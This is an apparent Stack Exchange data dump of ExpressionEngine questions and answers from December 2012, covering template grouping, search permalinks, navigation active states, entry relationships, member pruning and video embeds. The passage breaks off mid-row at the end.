  <row Id="1013" PostTypeId="1" AcceptedAnswerId="1014" CreationDate="2012-12-03T20:25:40.220" Score="1" ViewCount="742" Body="&lt;p&gt;I need to restructure the channel entries (I'm trying to group them by one of the channel fields). For example, say I have a list of fruits and each fruit had a color. I'm trying to group these fruits in an associative array by color, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fruits['yellow'] = array('fruit_name' =&amp;gt; 'banana' ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I have this restructured data, I then need to loop over it and output certain mark up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, what I have done is to set &lt;code&gt;Allow PHP?&lt;/code&gt; to &lt;code&gt;Yes&lt;/code&gt; and declared an array, built that array within the entries tag pair, and now going to loop through that array and output the markup I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems messy. Is there a &quot;cleaner&quot; approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I want to output the data, which I think would be impossible to achieve with an &lt;code&gt;orderby&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Yellow&#xA; -- Banana&#xA; -- Lemon&#xA; -- Papaya&#xA;&#xA;Red&#xA; -- Apple&#xA; -- Strawberry&#xA; -- Cherry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I need to loop over the colors, then loop over the fruits within each color. It's a nested array that I need. Using orderby does not give me a nested array.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-03T20:40:48.740" LastActivityDate="2012-12-04T02:33:33.767" Title="Custom variable within tag pair?" Tags="|templates|variable|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostTypeId="2" ParentId="1013" CreationDate="2012-12-03T20:33:36.713" Score="3" Body="&lt;p&gt;Perhaps you could use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;orderby&lt;/a&gt; parameter on your custom field, and use PHP to monitor that field, and, each time it changes, perform your custom display behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1: Setting up Categories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that you should probably be using categories to display your entries. Using your example above, you should setup a Category Group; there are many strategies for managing categories/sub categories; we'll assume you just need a single Category Group called &quot;Colors.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any event, create the &quot;Colors&quot; category group (Admin &gt; Channel Administration &gt; Categories &gt; [Create a New Category Group] &gt; Name it &quot;Colors&quot; &gt; Add/Edit Categories &gt; etc), then, tie it to your channel (Admin &gt; Channel Administration &gt; Channels &gt; Edit Group Assignments &gt; [Category Groups]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After jumping through those hoops, you'll be able to specify which colors are associated with each entry when editing them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once categories are in established, displaying them in a template is straight forward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot;}&#xA;  &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;  {exp:channel:entries category=&quot;{category_id}&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2012-12-03T21:12:00.933" LastActivityDate="2012-12-03T21:12:00.933" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostTypeId="2" ParentId="1013" CreationDate="2012-12-03T20:33:54.290" Score="1" Body="&lt;p&gt;Is there a specific reason you can't use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;entries order by parameter&lt;/a&gt; to order by that field? I think understanding that would help us answer this question.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2012-12-03T20:33:54.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1016" PostTypeId="2" ParentId="1004" CreationDate="2012-12-03T20:40:36.660" Score="6" Body="&lt;p&gt;If you want to do it yourself without installing anything or using SQL, this code in a template will display the most recent 5 entries and when they were edited:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;5&quot; orderby=&quot;edit_date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot;}&#xA;    {edit_date format=&quot;%Y %m %d - %g:%i:%s&quot;}: {title} ({relative_date})&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{relative_date}&lt;/code&gt; tag is kind of cool and also gratuitous here :)&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-12-03T20:40:36.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostTypeId="2" ParentId="993" CreationDate="2012-12-03T20:45:25.060" Score="2" Body="&lt;p&gt;I've done this with Antenna &lt;a href=&quot;http://dvt.ee/adQTgdT&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/adQTgdT&lt;/a&gt; and html/css.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Antenna is a plugin that will generate the exact, most up-to-date YouTube, Vimeo, Wistia, or Viddler embed code available. It also gives you access to the video’s title, its author, the author’s YouTube/Vimeo URL, and a thumbnail. All you have to do is pass it a single URL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Except I use only the 8 digit numeric ID from the URL so I can add the proper URL in the template to display the vimeo player in a modal window.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;player.vimeo.com/video/{custom_field}?autoplay=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="202" LastActivityDate="2012-12-03T20:45:25.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1018" PostTypeId="1" AcceptedAnswerId="1024" CreationDate="2012-12-03T20:52:56.133" Score="2" ViewCount="211" Body="&lt;p&gt;Might be having a brain fart on this one, but I'm using Low Search to search two channels and I cannot figure out how to direct them to the right templates. The results display, but I need the link to the entry to go to the correct page... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Low's example they use this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{comment_url_title_auto_path}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is essentially replicating the permalink feature but without the option to direct it to a certain template. My if statements also don't seem to be working with {if collection=='xx'} either.&lt;/p&gt;&#xA;" OwnerUserId="273" LastEditorUserId="115" LastEditDate="2012-12-03T22:35:34.400" LastActivityDate="2012-12-03T22:46:13.993" Title="Searching multiple channels with Low Search, how do I direct the permalink to the correct template?" Tags="|search|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1019" PostTypeId="2" ParentId="1013" CreationDate="2012-12-03T21:11:57.823" Score="1" Body="&lt;p&gt;You could use Stash to filter by colour on output with match/against:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;fruit&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;fruit&quot;}   &#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:color}{cf_color}{/stash:color}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{exp:stash:get_list name=&quot;fruit&quot; match=&quot;#^yellow$#&quot; against=&quot;color&quot;}&#xA;{title}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/tree/dev&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/tree/dev&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-03T21:11:57.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostTypeId="2" ParentId="1009" CreationDate="2012-12-03T21:37:46.907" Score="2" Body="&lt;p&gt;In your code above 'logo' is a Stash variable, not a snippet. You would need to access it like {exp:stash:get name=&quot;logo&quot;}. You &lt;em&gt;could&lt;/em&gt; add type=&quot;snippet&quot; to the stash:set tag when you set the variable and then access it like so: {logo}; however I'm not sure why you don't just use the original snippet itself: {snippet:masthead_logo} ?&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-03T21:37:46.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostTypeId="2" ParentId="1009" CreationDate="2012-12-03T22:06:38.110" Score="1" Body="&lt;p&gt;I tracked the issue down and it was an errantly placed {triggers:entries} tag. Completely my fault, but thankful that I had the answers I received to make me look long and hard at the template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all!&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-12-03T22:06:38.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostTypeId="5" CreationDate="2012-12-03T22:33:16.997" Score="0" Body="&lt;p&gt;Authenticate allows you to easily build configurable stand-alone login and forgot password forms that process without seeing the useless ugly redirect screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://objectivehtml.com/authenticate&quot; rel=&quot;nofollow&quot;&gt;http://objectivehtml.com/authenticate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-04T17:33:54.867" LastActivityDate="2012-12-04T17:33:54.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1023" PostTypeId="4" CreationDate="2012-12-03T22:33:16.997" Score="0" Body="Authenticate is a free add-on by Objective HTML." OwnerUserId="101" LastEditorUserId="101" LastEditDate="2012-12-04T17:33:52.277" LastActivityDate="2012-12-04T17:33:52.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1024" PostTypeId="2" ParentId="1018" CreationDate="2012-12-03T22:35:19.847" Score="4" Body="&lt;p&gt;If you goto Admin &gt; Channels Administration &gt; Channel &gt; Edit Preferences and set the comment path to the proper URL (i.e. &lt;code&gt;{site_url}/blog/comments&lt;/code&gt; ) you can use the &lt;code&gt;{comment_url_title_auto_path}&lt;/code&gt; parameter also. It can be easier then doing conditionals for each channel you might be searching through.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2012-12-03T22:46:13.993" LastActivityDate="2012-12-03T22:46:13.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostTypeId="1" CreationDate="2012-12-03T22:36:57.433" Score="5" ViewCount="733" Body="&lt;p&gt;I have set up my site in ExpressionEngine and I am trying to create a sticky navigation menu which indicates the section of site the user is on. &lt;a href=&quot;http://thecharlesnyc.com/dev/dgi/ExpressionEngine/index.php&quot; rel=&quot;nofollow&quot;&gt;Click Here&lt;/a&gt; for example when the user click on about the site scrolls down to about and the about stays in its hover state. I have incorporated the following but it doesn't seen to be working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav-bar&quot;&amp;gt;&#xA;&amp;lt;li {if segment_1 == &quot;home&quot;} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a id=&quot;nav_1&quot; href=&quot;#home&quot;&amp;gt;home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li {if segment_1 == &quot;about&quot;} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a id=&quot;nav_2&quot; href=&quot;#about&quot;&amp;gt;about&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li {if segment_1 == &quot;roster&quot;} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a id=&quot;nav_3&quot; href=&quot;#roster&quot;&amp;gt;roster&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li {if segment_1 == &quot;clients&quot;} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a id=&quot;nav_4&quot; href=&quot;#client&quot;&amp;gt;clients&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li {if segment_1 == &quot;contact&quot;} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a id=&quot;nav_5&quot; href=&quot;#contact&quot;&amp;gt;contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="28" LastEditDate="2012-12-16T06:13:50.467" LastActivityDate="2012-12-17T17:12:15.203" Title="Sticky Navigation Bar" Tags="|templates|tags|navigation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1026" PostTypeId="2" ParentId="1025" CreationDate="2012-12-03T22:39:59.713" Score="16" Body="&lt;p&gt;As coded, your active states will not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_1 == &quot;home&quot;} class=&quot;active&quot;{/if} will work only if the browser page is reloaded and segment_1 becomes &quot;home&quot; in the address bar. Your hrefs aren't reloading the page, instead you are navigating with a scroll to &quot;#home&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want active states, you'll need to use jQuery to set the active class on click.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;.nav-bar a&quot;).click(function(){&#xA;      $(&quot;.nav-bar li&quot;).removeClass(&quot;active&quot;);&#xA;      $(this).parent().addClass(&quot;active&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-03T22:39:59.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1027" PostTypeId="2" ParentId="753" CreationDate="2012-12-03T22:44:26.773" Score="3" Body="&lt;p&gt;I'd just use the query module:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:query sql=&quot;SELECT entry_id FROM exp_channel_titles WHERE title LIKE '%searchterm%' and weblog_id='1' &quot; backspace=&quot;1&quot;}{entry_id}|{/exp:query}&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would pull a list of entry_ids for a given channel, that you could then use in a channel:entries tag or where ever else you needed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash would work but would pull a lot more data that was then just discarded, and this approach works with a base EE install.&lt;/p&gt;&#xA;" OwnerUserId="480" LastActivityDate="2012-12-03T22:44:26.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostTypeId="1" CreationDate="2012-12-03T23:02:50.003" Score="2" ViewCount="194" Body="&lt;p&gt;I'm working on a site that has a workflow in which you might approach the system with one thing (say: an article) or another (say: a person). Articles can have relationships with people, and vice versa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I would say &quot;make one content type the parent and be done with it,&quot; but the required workflow demands that users be able to create the relationship from either direction — a user may want to add a person to the system and relate that person with an existing article, and I don't want them to have to edit every relevant article to create that relationship. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you might say, ok: allow either to be the parent — have two relationship fields, and whenever you have to display those relationships, use PHP to filter out any duplicates that might exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT: what happens when I want to destroy that relationship — not the entries, just the relationship(s)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have to track down every article/person manually, and remove those relationships from each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It feels like I'm over-thinking this, but I thought I'd ask: Is there a way to create &quot;peer&quot; relationships, one that can be created only once from either peer? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be better handled by something else, like say Categories? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Now that I'm thinking about it, no categories won't work, because I'd have to go back and add that category to every relevant sibling entry.)&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2012-12-04T00:06:30.100" Title="Is there a way to create &quot;peers,&quot; as opposed to child/parent relationships?" Tags="|playa|relationships|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostTypeId="1" AcceptedAnswerId="1078" CreationDate="2012-12-03T23:13:36.783" Score="3" ViewCount="249" Body="&lt;p&gt;I'm new to EE and trying to learn how to use Channels and Categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Channel, then created Channel Fields, then associated the two. I am able to add entries to that channel just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a Categories Group, then created 1 category under that group. Afterwards, I created 3 category fields. They are all Select List field types. The 1 category I created seems to be associated with the 3 category fields automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I went into my Channel, under &quot;Edit Group Assignments&quot; and associated the Categories Group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to add a new Channel entry, the Categories tab has a checkbox for the Category I associated with the Channel. &lt;strong&gt;How do I select the appropriate values from my Select List and associate with with my Channel entry?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These Select List fields used to be a custom channel field, but because I am trying to &quot;group by&quot; these fields, it seems like I should be using categories. &lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2012-12-03T23:20:58.567" LastActivityDate="2012-12-04T14:14:27.933" Title="Struggling with Categories" Tags="|channel|categories|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1030" PostTypeId="2" ParentId="1028" CreationDate="2012-12-03T23:18:06.197" Score="3" Body="&lt;p&gt;This is not going to be very helpful to you since they have not released it publicly yet but &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor-plus/&quot; rel=&quot;nofollow&quot;&gt;Visitor Plus&lt;/a&gt; does exactly what you are looking when it is released. I have done something similar in the past with Tagger but it has the same shortfalls as categories for the most part. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-03T23:18:06.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostTypeId="2" ParentId="1029" CreationDate="2012-12-03T23:22:16.060" Score="3" Body="&lt;p&gt;I think you've misunderstood how these custom category fields work. Each &lt;strong&gt;category&lt;/strong&gt; can have unique values for those fields, but not each entry in a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need unique values per entry in a channel, you'll want to use channel custom fields. Perhaps check the &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to associate one entry with multiple values. &lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-12-03T23:22:16.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostTypeId="2" ParentId="1028" CreationDate="2012-12-03T23:49:26.750" Score="2" Body="&lt;p&gt;The relationship that you are describing is called a &quot;many to many&quot; relationship model. As you have found, the ExpressionEngine control panel doesn't always handle your needs very well. That's to be expected because every project is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might need to do is construct a custom entry management interface with Safecracker. This won't replace your control panel, but rather provide a more targeted interface for your users. Playa and Matrix are compatible with Safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is more work, but hopefully it saves work down the road. &lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-12-03T23:49:26.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostTypeId="2" ParentId="1013" CreationDate="2012-12-03T23:57:27.650" Score="2" Body="&lt;p&gt;As others have noted comments could be the best way to go for you. But if you have valid reasons to use a custom field for fruit colors you can group entries by color with the third-party &lt;a href=&quot;http://ee-garage.com/nsm-channels&quot; rel=&quot;nofollow&quot;&gt;NSM Channels&lt;/a&gt; add-on (AUD $39.95)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:nsm_channels:group_entries_by&#xA;  group_by=&quot;custom_field_color&quot;&#xA;  }&#xA;  &amp;lt;h3&amp;gt;{custom_field_color}&amp;lt;/h3&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;  {channel_entries channel=&quot;fruit&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {/channel_entries}&#xA;  &amp;lt;/ul&amp;gt;&#xA;{/exp:nsm_channels:group_entries_by}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2012-12-04T00:27:56.497" LastActivityDate="2012-12-04T00:27:56.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostTypeId="1" AcceptedAnswerId="1045" CreationDate="2012-12-04T00:05:04.807" Score="4" ViewCount="320" Body="&lt;p&gt;EE v1.x had nice tools to prune data. EE 2.x seems to have removed these features. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is delete Pending user accounts (never activated their account). I can go through and manually delete them 50 at a time. Not fun. Even less fun when the site gets hit by a spambot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any add ons that do this? Proven methods that get right into the database?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="480" LastEditDate="2012-12-04T00:22:50.587" LastActivityDate="2013-01-17T22:59:25.887" Title="How to prune data in v2.x?" Tags="|database|members|delete|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1035" PostTypeId="2" ParentId="1028" CreationDate="2012-12-04T00:06:30.100" Score="4" Body="&lt;p&gt;Playa from Pixel &amp;amp; Tonic has &lt;a href=&quot;http://pixelandtonic.com/playa/docs/templates#playa%3asiblings&quot; rel=&quot;nofollow&quot;&gt;sibling relationships&lt;/a&gt; that might work the way you want them to.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-04T00:06:30.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostTypeId="2" ParentId="1034" CreationDate="2012-12-04T00:10:17.893" Score="1" Body="&lt;p&gt;BrandNewBox has a tool to purge data, &lt;a href=&quot;http://brandnewbox.co.uk/products/details/purgedata&quot; rel=&quot;nofollow&quot;&gt;http://brandnewbox.co.uk/products/details/purgedata&lt;/a&gt; I've never used it to prune members, but have used it to remove records from entries. You could give that a try.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-04T00:10:17.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1037" PostTypeId="1" AcceptedAnswerId="1043" CreationDate="2012-12-04T00:23:35.407" Score="2" ViewCount="177" Body="&lt;p&gt;A thing that annoys me about EE and Structure is that when I add/edit an entry within a channel, I get redirected back to Structure main page. I might want to add another entry, edit another entry in that same channel or edit that same particular entry again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always throwing me back to the Structure page is annoying. I feel like I'm clicking around way too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any good addons or ideas to handle this better? Something that gives you an option to go somewhere after or as you save?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="176" LastActivityDate="2012-12-04T01:40:08.113" Title="Is there a better way to direct users after adding/editing an entry?" Tags="|channel-entries|structure|entries|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostTypeId="1" AcceptedAnswerId="1189" CreationDate="2012-12-04T00:53:21.610" Score="5" ViewCount="798" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Uoui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use custom CSS for WYGWAM fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can use @font-face, but what if I want to use fonts via Typekit, is there a way to pull them in?&lt;/p&gt;&#xA;" OwnerUserId="225" LastEditorUserId="268" LastEditDate="2012-12-04T09:05:54.950" LastActivityDate="2014-10-19T17:28:03.893" Title="Configure WYGWAM to use fonts from Typekit?" Tags="|add-on|css|wygwam|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1039" PostTypeId="2" ParentId="1037" CreationDate="2012-12-04T00:57:42.800" Score="0" Body="&lt;p&gt;Well, you can always disable that and use default EE function when you got Preview and you can Publish another entry of the same channel or Edit that entry. You can disable this in Structure Preferences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About other add-on handling redirects, its something I want to know too :)&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2012-12-04T00:57:42.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1040" PostTypeId="2" ParentId="1037" CreationDate="2012-12-04T01:26:53.533" Score="0" Body="&lt;p&gt;If you go to Add-Ons &gt; Modules &gt; Structure &gt; Settings &gt; Module Settings the second option is &quot;Redirect to Structure on entry publish/save&quot; which you will want to set to &quot;No&quot; in your case to enable the default publish/edit functionality in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go beyond that you would need to write an extension to handle the behaviors you want. There isn't an existing add-on that I am aware of right now.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-04T01:26:53.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostTypeId="2" ParentId="993" CreationDate="2012-12-04T01:28:21.343" Score="2" Body="&lt;p&gt;If Channel Videos outputs the default &lt;a href=&quot;http://developer.vimeo.com/player/embedding#universal-embed-code&quot; rel=&quot;nofollow&quot;&gt;Universal Embed Code&lt;/a&gt; iframe from Vimeo then you should be good using following &lt;a href=&quot;http://www.devdemon.com/docs/channel_videos/tags/videos.html#video-embed-code&quot; rel=&quot;nofollow&quot;&gt;embed code&lt;/a&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{video:embed_code}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise you could do it with the &lt;a href=&quot;http://www.devdemon.com/docs/channel_videos/tags/videos.html#video-service-id&quot; rel=&quot;nofollow&quot;&gt;video service id&lt;/a&gt; variable along with the iframe directly from Vimeo like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://player.vimeo.com/video/{video:service_id}&quot; width=&quot;WIDTH&quot; height=&quot;HEIGHT&quot; frameborder=&quot;0&quot; webkitAllowFullScreen mozallowfullscreen allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could then use one of the jQuery responsive slideshows for example &lt;a href=&quot;http://www.woothemes.com/flexslider/&quot; rel=&quot;nofollow&quot;&gt;Flexslider&lt;/a&gt; or &lt;a href=&quot;http://www.pixedelic.com/plugins/camera/&quot; rel=&quot;nofollow&quot;&gt;Camera&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have the correct embed code (vs using the service id setup I described) and say Camera setup then your gallery/slide might look like this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pixedelic.com/plugins/camera/development/camera_1.0.6/demo/features.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.pixedelic.com/plugins/camera/development/camera_1.0.6/demo/features.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd probably then do something like following in your template to get the videos via the &lt;a href=&quot;http://www.devdemon.com/docs/channel_videos/tags/videos.html&quot; rel=&quot;nofollow&quot;&gt;Channel Video tags&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;videos&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;videos&quot;}&#xA;        {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;            &amp;lt;div class=&quot;video&quot;&amp;gt;&#xA;                &amp;lt;div data-thumb=&quot;{video:img_url}&quot; data-src=&quot;{video:img_url_hd}&quot;&amp;gt;&#xA;                    {video:embed_code} {!-- Use this or use the iframe and video service id var instead. --}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        {/exp:channel_videos:videos}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will loop through all your videos for a certain channel and create the iframe along with the thumbnail playlist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note in the above code we are bringing in two more variables which are for the images:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;{video:img_url}&lt;/code&gt; - &lt;a 